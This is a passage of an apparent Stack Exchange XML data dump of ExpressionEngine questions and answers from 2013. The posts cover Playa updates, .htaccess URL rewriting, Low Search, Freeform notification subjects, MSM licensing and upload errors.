shows &quot;4.4.5&quot; in Add-Ons &gt; Fieldtypes &gt; Playa, while the production install shows the old version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the time being I've rolled back to the old version. What steps can I try next?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Just like reported &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/12644/playa-update-4-3-3-to-4-4-5&quot;&gt;here&lt;/a&gt; I see different versions: When going to Add-Ons &gt; Modules &gt; Playa, EE shows &quot;4.4.5&quot;.&lt;/p&gt;&#xA;" OwnerUserId="2042" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-11-13T01:35:20.040" Title="Playa update fails for EE2.6 &amp; Playa 4.4.5" Tags="|playa|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13700" PostTypeId="2" ParentId="12996" CreationDate="2013-09-11T23:05:18.913" Score="0" Body="&lt;p&gt;Oddly enough this problem just disappeared after a day or so and hasn't come back. No idea what the source issue was.&lt;/p&gt;&#xA;" OwnerUserId="436" LastActivityDate="2013-09-11T23:05:18.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13701" PostTypeId="1" CreationDate="2013-09-11T23:50:11.817" Score="0" ViewCount="444" Body="&lt;p&gt;I've setup a template group called 'landing' and i want to allow users to visit a clean url like the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://domain.com/url_title&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/url_title&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment it works if I include the template group (&lt;a href=&quot;http://domain.com/landing/url_title&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/landing/url_title&lt;/a&gt;) so how can I remove the template group from the url?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Through a .htaccess file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appreciate any guidance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;N&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2013-09-12T00:06:44.420" Title="Remove Template group from url" Tags="|templates|url-title|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13702" PostTypeId="2" ParentId="13698" CreationDate="2013-09-11T23:54:07.810" Score="1" Body="&lt;p&gt;Reverse Related entries from the Author channel back to the blog articles channel should work. But, since EE 2.6, the {reverse_related_entries} tag has been replaced with the &lt;em&gt;new&lt;/em&gt; &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html&quot; rel=&quot;nofollow&quot;&gt;Relationships field&lt;/a&gt; -- so you'll need to download the older EE 2.5 documentation to see the official examples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, basically the reverse related entries syntax, which goes inside your {exp:channel:entries channel=&quot;author&quot;} tag in the authors template, would look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{reverse_related_entries channel=&quot;blog_article&quot; orderby=&quot;entry_date&quot; sort=&quot;desc&quot; limit=&quot;100&quot;}&#xA;   {if no_reverse_related_entries}&#xA;     No Articles&#xA;   {/if}&#xA;   {title} {!-- this will be the blog article title; add other blog fields here --}&#xA;{/reverse_related_entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-09-11T23:54:07.810" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="13703" PostTypeId="2" ParentId="13701" CreationDate="2013-09-12T00:06:44.420" Score="1" Body="&lt;p&gt;If you know the specific URLs you want to be redirected, and want to redirect only those, you'd add this (before the standard EE Rewrites):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^url_title$ /index.php/landing/url_title [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;e.g., for multiple:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^url_title1$ /index.php/landing/url_title1 [L]&#xA;RewriteRule ^url_title2$ /index.php/landing/url_title2 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, finally, if there's a pattern, you could match on the pattern, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^url_title(.*)$ /index.php/landing/url_title$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;UPDATED: removed a really bad idea I suggested in my first version!&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-09-12T00:06:44.420" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13704" PostTypeId="1" AcceptedAnswerId="13783" CreationDate="2013-09-12T00:18:36.380" Score="0" ViewCount="89" Body="&lt;p&gt;Here's a conundrum. A basic site, in EE2.4. This page has links in the left col, with content loading in the right col via a simple AJAX call. The code generate by EE is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.thresholdinteriorsnyc.com/press/&quot; rel=&quot;nofollow&quot;&gt;http://www.thresholdinteriorsnyc.com/press/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some users report it working fine, while other report it broken. This doesn't seem to be browser-related. The problem of it not working is intermittent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hosted on on Rackspace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2013-09-16T20:31:53.853" Title="Page breaking at random - content disappearing" Tags="|ee2|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13705" PostTypeId="2" ParentId="13693" CreationDate="2013-09-12T01:39:08.190" Score="4" Body="&lt;p&gt;By default, you cannot do this, however, there is a simple extension you can use called Categories to Text to save your categories into text fields automatically. If you set those text fields to be searchable, then essentially you are searching the categories. And you can choose to hide those text fields on the backend by modifying the the publish layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Categories to Text: &lt;a href=&quot;http://devot-ee.com/add-ons/categories-to-text&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/categories-to-text&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-09-12T10:26:20.930" LastActivityDate="2013-09-12T10:26:20.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13706" PostTypeId="2" ParentId="13693" CreationDate="2013-09-12T02:10:16.947" Score="3" Body="&lt;p&gt;Simple Search won't natively search categories. Luckily there's an add-on called &lt;a href=&quot;http://www.solspace.com/software/detail/preparse/&quot; rel=&quot;nofollow&quot;&gt;Preparse&lt;/a&gt; from Solspace which will help make it work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Low posted on his &lt;a href=&quot;http://gotolow.com/blog/searching-non-field-data-with-low-search&quot; rel=&quot;nofollow&quot;&gt;blog&lt;/a&gt; about using Preparse to add categories into a searchable text field. Though the post refers to using Preparse with Low Search, it would function the same with Simple Search as well.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-09-12T02:10:16.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13708" PostTypeId="2" ParentId="13695" CreationDate="2013-09-12T02:56:01.860" Score="2" Body="&lt;p&gt;EE 2.7 shipped with changes that break existing code, and so most or all of the Solspace add-ons are currently incompatible with EE 2.7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solspace posted that they were working on updates &lt;a href=&quot;http://www.solspace.com/blog/entry/compatibility_with_ee_2.7.0/&quot; rel=&quot;nofollow&quot;&gt;&quot;over the course of the next two weeks&quot;&lt;/a&gt;. That was two weeks ago, but I suspect we'll see new releases from Solspace, soon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like you, I'm stuck right now with things not working... and clients waiting...&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-09-12T02:56:01.860" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13709" PostTypeId="2" ParentId="13686" CreationDate="2013-09-12T03:30:08.027" Score="4" Body="&lt;p&gt;Have you looked at Ben's fantastic LogMeIn add-on? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/logmein&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/logmein&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It'll automatically login a member, after you've defined a custom member group &amp;amp; directory for the anonymous visitor.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-09-12T03:30:08.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13710" PostTypeId="1" CreationDate="2013-09-12T05:48:20.647" Score="1" ViewCount="80" Body="&lt;p&gt;I'm setting up four blogs within a large website and have multiple authors for each blog. &#xA;I'm setting up these authors as members and would like to show the most active authors (members) with their member photo at the top of each blog. (so the most active authors get &quot;rewarded&quot; with their picture at the top of the blog. up to 6 authors)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what's the easiest way to achieve that?&lt;/p&gt;&#xA;" OwnerUserId="1962" LastActivityDate="2013-10-12T09:57:48.150" Title="Sort Members (authors) by activity" Tags="|members|author|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13711" PostTypeId="2" ParentId="13699" CreationDate="2013-09-12T05:49:42.900" Score="3" Body="&lt;p&gt;After updating Playa and it failing to run it's DB schema, here's what you can try:&#xA;Take a look at the columns in exp_playa_relationships table in the database.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Does it have a field parent_var_id? If no, then the version you should set is 4.1.&lt;/li&gt;&#xA;&lt;li&gt;If yes, does it have a field parent_is_draft? If no, then the version you should set is 4.3&lt;/li&gt;&#xA;&lt;li&gt;If yes, then the version you should set is 4.4.5&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now, set the version number we determined in the previous three steps for the Playa field in the exp_fieldtypes table and go visit the Add-ons -&gt; Fieldtypes -&gt; Playa page and hit submit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything should be all working now.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-09-12T05:49:42.900" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="13712" PostTypeId="1" CreationDate="2013-09-12T06:41:24.383" Score="1" ViewCount="91" Body="&lt;p&gt;I recently upgraded from 2.5.5 to 2.7 and I am doing a number of fixes to make my code up compatible with the new version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a channel field called &lt;code&gt;foo&lt;/code&gt; which is of the Relationships fieldtype.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I tried outputting &lt;code&gt;{foo}&lt;/code&gt; it outputs 0&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form&#xA;   channel=&quot;a_channel&quot;&#xA;}&#xA;...&#xA;{foo} &amp;lt;-- outputs 0&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My problem is, how do I get the value/id of the currently chosen &lt;code&gt;foo&lt;/code&gt; value? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't seen any documentation about this. This is a generic, common to do so I thought they have something for it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried this as per &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_form/#selected-option-my-field-name&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:channel:form&#xA;       channel=&quot;a_channel&quot;&#xA;    }&#xA;    ...&#xA;    {selected_option:foo}&#xA; {/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it did not work also&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;It is also important to note that this is a custom field&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-09-13T06:38:48.700" LastActivityDate="2013-10-13T06:57:54.657" Title="Getting the chosen option of a Relationships fieldtype field" Tags="|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13713" PostTypeId="2" ParentId="13710" CreationDate="2013-09-12T08:41:59.710" Score="1" Body="&lt;p&gt;You'll need to either do 2 channel entries calls - once for the authors, then again for the posts, or use something like &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;stash&lt;/a&gt; to limit it to only one loop (but probably not suitable in this instance as the authors list needs to be by edit date).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although you don't define what &quot;most active authors&quot; is actually classed by, I've assumed latest post or edit date, rather than total posts.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;blog&quot;&#xA;    orderby=&quot;edit_date|date&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    limit=&quot;6&quot;}&#xA;    {if no_results}What no Authors?{/if}&#xA;    &amp;lt;p&amp;gt;{author}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;img src=&quot;{avatar_url}&quot; width=&quot;{avatar_image_width}&quot; height=&quot;{avatar_image_height}&quot; alt=&quot;{author}'s avatar&quot;&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then the blog listing...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;blog&quot;&#xA;    orderby=&quot;date&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    limit=&quot;20&quot;}&#xA;    {if no_results}Nothing to see here - move along{/if}&#xA;&#xA;    ...blah...&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Word of caution: this mechanism could easily be manipulated if authors simply edit a character in their post, they'll jump to the top of the author gallery. Might be better to either list by amount of posts (complex - probably only way is to use the query tag) or include the amount of posts they've made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within the first channel:entries loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:member:custom_profile_data member_id=&quot;{author_id}&quot;}&#xA;    {total_entries}&#xA;{/exp:member:custom_profile_data}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2013-09-12T08:55:36.637" LastActivityDate="2013-09-12T08:55:36.637" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13714" PostTypeId="2" ParentId="13197" CreationDate="2013-09-12T09:56:18.613" Score="3" Body="&lt;p&gt;65k characters is just the limit of a MySQL &lt;code&gt;TEXT&lt;/code&gt; column. You will need to edit the appropriate &lt;code&gt;exp_channel_data&lt;/code&gt; database column (using PhpMyAdmin or similar) and change the column type to &lt;code&gt;LONGTEXT&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-09-12T09:56:18.613" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13715" PostTypeId="1" CreationDate="2013-09-12T12:38:06.097" Score="1" ViewCount="114" Body="&lt;p&gt;I’m Struggling to get SagePay to play nicely. The error I’m getting is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Failed to connection 195.170.169.8: Permission Denied (7)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and it looks to me like it’s in and EE message box (See screenshot attached)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We’ve got everything in place such as HTTPS redirect, SSL, secure forms, IP addresses added to SagePay, in testing mode and using testing details but we keep hitting this error when we press “Pay” on the last step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SagePay are saying it’s not on their end due to nothing even getting to their system (Transactions / Errors) and our host is saying it isn’t their fault and the firewall isn’t blocking anything!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Sigh&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0bRjw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="362" LastActivityDate="2013-10-13T13:57:54.717" Title="Cart Throb - Failed to connect error [SagePay]" Tags="|cartthrob|error|ecommerce|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13716" PostTypeId="1" CreationDate="2013-09-12T12:43:48.927" Score="1" ViewCount="430" Body="&lt;p&gt;I'm running EE 2.5.5 and Assets 2.1.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have massive upload problems on several websites running assets. assets fails to upload certain images. i get a notification «Could not upload the file - server returned an unexpected response. Please check the server settings»&lt;/p&gt;&#xA;&#xA;&lt;p&gt;we had this issue in previous threads. i set the all concerning folders to 777. i checked upload paths and .htaccess. everything seems ok. i can upload files like pdf with the same settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i believe there must be some server setting that is wrong but i can't find the requirements for assets. can anybody help?&lt;/p&gt;&#xA;" OwnerUserId="1313" LastActivityDate="2013-10-18T08:58:41.453" Title="Assets uploads Failing, Server requirements" Tags="|assets|uploads|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13717" PostTypeId="1" AcceptedAnswerId="13718" CreationDate="2013-09-12T13:31:32.190" Score="1" ViewCount="275" Body="&lt;p&gt;I have a question about Low Search. I'd like to create a search field that searches throughout our blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Entries in our Blog channel, however, are like empty shells. The only field they have is a Playa field. The actual content is stored in other channels (e.g. Content-Origin channel) and pulled in with Playa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, when an editor wants to create a blog post they first add pieces of as entries in the Content-Origin channel. Then, they create a Blog entry and select all of those pieces with Playa. Our template serves up the Blog entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would Low Search handle this situation? If a match is found, does Low Search serve the users the entry from Content-Origin? Or from Blog channel? Thank you!&lt;/p&gt;&#xA;" OwnerUserId="1798" LastActivityDate="2013-09-12T13:44:09.230" Title="Low Search - Relationships, Playa" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13718" PostTypeId="2" ParentId="13717" CreationDate="2013-09-12T13:44:09.230" Score="1" Body="&lt;p&gt;Low Search will always return the entries that actually contain the content, in your case the Content-Origin channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The keyword-searchable index for an entry consists of its fields. A Playa field contains the ID, url_title and title of the selected entries (as designed by P&amp;amp;T), so in a limited way, an entry can contain some data from the related entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, an entry's index never contains data from its child entries. I pondered over it once, but really, it's just a big Can o’ Worms™ you do not want to open. Keeping the index up to date if the parent or one of its children changes is a nightmare, what to do if the child entry also has a relationship field... It can get ugly quickly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you'd have to make collections for your Content-Origin channels, and in the results, link back to the blog post by checking if the entry has a parent in the Blog channel.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-09-12T13:44:09.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13719" PostTypeId="1" CreationDate="2013-09-12T13:47:44.683" Score="2" ViewCount="233" Body="&lt;p&gt;I want to change the subject line so that instead of reading &quot;Someone has filled out form: Form Name&quot; I can use a shorter value like &quot;Form Name.&quot; Where can I do this in Freeform?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I didn't know about the notifications template tab. It lets you specify a subject. Problem solved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Godaddy requires short subject lines.&lt;/p&gt;&#xA;" OwnerUserId="2045" LastEditorUserId="2045" LastEditDate="2013-09-12T14:24:40.197" LastActivityDate="2013-09-12T15:53:09.340" Title="Solspace Freeform Subject Line" Tags="|solspace|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13720" PostTypeId="2" ParentId="13719" CreationDate="2013-09-12T14:24:29.837" Score="1" Body="&lt;p&gt;Probably the best thing is to set up a custom notification in the Freeform control panel and then in your form's settings assign that custom notification to your form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you really want to edit the default notification's subject you'll have to edit Freeform's language file. Open up &lt;code&gt;third_party/freeform/language/english/freeform_lang.php&lt;/code&gt; and search for &lt;code&gt;default_notification_subject&lt;/code&gt; (it's around line 1338 in my copy of Freeform).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd edit it to look like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'default_notification_subject' =&amp;gt;&#xA;&quot;{form_label}&quot;,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-09-12T14:24:29.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13722" PostTypeId="1" CreationDate="2013-09-12T14:32:40.770" Score="3" ViewCount="280" Body="&lt;p&gt;Every so often, my entire site goes down for an indefinite period of time. Restarting the MySQL service appears to temporarily fix the issue. I recently upgraded to EE 2.7 and about the same time my website started to experiencing a bit of a slow down. Just when this error occurred, I noticed a huge spike in response time (1 million ms) for PHP processing in New Relic!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OKpAV.png&quot; alt=&quot;30 Minute Window for New Relic&quot;&gt;&#xA;Above image shows a 30 hour window for New Relic&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qlXaq.png&quot; alt=&quot;An Error Was Encountered&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mRJtf.png&quot; alt=&quot;6 hour Window for New Relic&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This shows a 6 hour window for new relic&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on what could be happening? Any suggestions for diagnosing this? Remember, this error only occurs periodically and seemingly without warning.&lt;/p&gt;&#xA;" OwnerUserId="2046" LastEditorUserId="2046" LastEditDate="2013-09-12T14:38:52.410" LastActivityDate="2013-10-13T05:57:54.770" Title="Entire site down - Seemingly random (and fatal) ExpressionEngine error" Tags="|ee2|php|error|mysql|newrelic|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13723" PostTypeId="1" CreationDate="2013-09-12T14:50:29.350" Score="1" ViewCount="267" Body="&lt;p&gt;According to addon description, there's a limit of 3 sites. Does sub.mainsite.com qualify as a separate &quot;site&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if it does, is there a cheaper way to create unlimited subdomains of the same domain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2013-09-12T15:52:02.663" Title="Multiple Site Manager: how many subdomains?" Tags="|multi-site-manager|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13724" PostTypeId="2" ParentId="13722" CreationDate="2013-09-12T15:41:57.047" Score="0" Body="&lt;p&gt;Could it be a backup or other cron process being run and this is overloading the database server?&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-09-12T15:41:57.047" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13725" PostTypeId="2" ParentId="13723" CreationDate="2013-09-12T15:49:26.230" Score="1" Body="&lt;p&gt;A subdomain would be a different site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is only a limit of 3 sites (whether run on subdomains or totally different domains) in as much as you can run 3 EE powered sites with the MSM licence and 1 installation of EE. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can run more sites if you purchase more MSM site licences as a lower rate than regular EE licences. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;MSM just makes it simpler to share templates and content across different sites and since they all run from a single EE installation it makes updates a lot easier too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EllisLab will issue you with a couple of files which contain the encrypted licence keys for the sites you have. When you add sites it's a simple matter of replacing the file you have with the new one they send you.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-09-12T15:49:26.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13726" PostTypeId="2" ParentId="13723" CreationDate="2013-09-12T15:52:02.663" Score="0" Body="&lt;p&gt;If you plan on running each subdomain as a separate site within the EE CP then yes each subdomain will be one site. If you need additional sites for your MSM license you can purchase these for $49 per additional site. This option becomes available once you have an MSM license in your account.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-09-12T15:52:02.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13727" PostTypeId="2" ParentId="13719" CreationDate="2013-09-12T15:53:09.340" Score="1" Body="&lt;p&gt;Edit the notification template for the particular form. This is available within the freeform module CP.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-09-12T15:53:09.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13728" PostTypeId="1" CreationDate="2013-09-12T15:56:05.060" Score="0" ViewCount="48" Body="&lt;p&gt;I'm using the Geofinder plugin to search for events taking place in an area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each Event is assigned one of five categories. The search works fine when I select a category, but I'm unsure how to get it to search all categories, leaving the value empty doesn't produce the correct results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the simple code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;categories[]&quot; id=&quot;categories&quot;&amp;gt;&#xA;&amp;lt;option value=&quot;&quot;&amp;gt;Select All&amp;lt;/option&amp;gt;&#xA;{exp:channel:categories channel=&quot;calendar_events&quot; style=&quot;linear&quot;}&#xA;&amp;lt;option value=&quot;{category_id}&quot;&amp;gt;{category_name}&amp;lt;/option&amp;gt;&#xA;{/exp:channel:categories}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As I say the 'select all' doesn't work properly.&lt;/p&gt;&#xA;" OwnerUserId="1310" LastActivityDate="2013-10-21T04:46:13.717" Title="Searching 'All' Categories" Tags="|categories|search|geofinder|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13729" PostTypeId="2" ParentId="13523" CreationDate="2013-09-12T16:42:55.367" Score="1" Body="&lt;p&gt;Wanted to update the original post here with the fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had to manually copy over my original &lt;code&gt;cache/assets&lt;/code&gt; directory from the original server to the new one to solve the problem. As soon as that was in place all thumbnails reappeared in EE. I hadn't expected that &lt;em&gt;anything&lt;/em&gt; in the cache directory should be moved between servers as it may cause conflicts.&lt;/p&gt;&#xA;" OwnerUserId="436" LastActivityDate="2013-09-12T16:42:55.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13731" PostTypeId="1" AcceptedAnswerId="13736" CreationDate="2013-09-12T17:27:46.933" Score="4" ViewCount="765" Body="&lt;p&gt;What Focus Lab’s EE Master Config modifications are required for &lt;code&gt;/config/config.master.php&lt;/code&gt; to work within webroot (eg. &lt;code&gt;public_html&lt;/code&gt; or &lt;code&gt;htdocs&lt;/code&gt;), if I cannot place it &lt;em&gt;above&lt;/em&gt; webroot?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The instructions provided on their &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot; rel=&quot;nofollow noreferrer&quot;&gt;github&lt;/a&gt; page are for placement above webroot.   It has a link to a step-by-step article regarding placing it within webroot by Alex Ball, but the link does not resolve.&lt;/p&gt;&#xA;" OwnerUserId="202" LastEditorUserId="10421" LastEditDate="2020-02-24T18:27:20.660" LastActivityDate="2020-02-24T18:27:31.220" Title="Focus Lab's EE Master Config under webroot" Tags="|focus-lab-master-config|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="13732" PostTypeId="2" ParentId="13712" CreationDate="2013-09-12T18:18:59.390" Score="1" Body="&lt;p&gt;I believe based on the EE Relationship documentation (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html&lt;/a&gt;) you would do the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{foo}&#xA;     {foo:entry_id}&#xA;{/foo}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1762" LastActivityDate="2013-09-12T18:18:59.390" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
